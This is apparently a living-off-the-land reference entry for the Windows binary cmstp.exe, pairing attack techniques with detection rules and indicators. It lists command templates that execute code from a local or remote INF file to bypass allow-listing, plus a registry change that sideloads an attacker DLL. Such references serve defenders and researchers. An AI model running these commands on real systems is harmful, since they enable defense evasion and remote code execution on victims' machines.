Cmstp.exe

Commands

1. ExecuteUser T1218.003

   Execute code hidden within an inf file. Download and run scriptlets from internet.

   cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}

   Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: INF

2. AWL BypassUser T1218.003

   Execute code hidden within an inf file. Execute code directly from Internet.

   cmstp.exe /ni /s {REMOTEURL:.inf}

   Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

   Execute: INFExecute: Remote

3. ExecuteAdministrator T1218.003

   Proxy execution of a malicious DLL via registry modification.

   cmstp.exe /nf

   cmstp.exe reads the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll registry value and passes its data directly to LoadLibrary. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via cmstp.exe.

   os: Windows 10, Windows 11

   Execute: DLLRequires: Registry Change

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml
• Splunk https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml
• Elastic https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
• Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
• IOCExecution of cmstp.exe without a VPN use case is suspicious
• IOCDotNet CLR libraries loaded into cmstp.exe
• IOCDotNet CLR Usage Log - cmstp.exe.log
• IOCRegistry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll

Resources

• https://twitter.com/NickTyrer/status/958450014111633408
• https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
• https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
• https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
• https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
• https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
• https://gist.github.com/ghosts621/ea8ad5b8a0904dd40b33f01f0e8285dc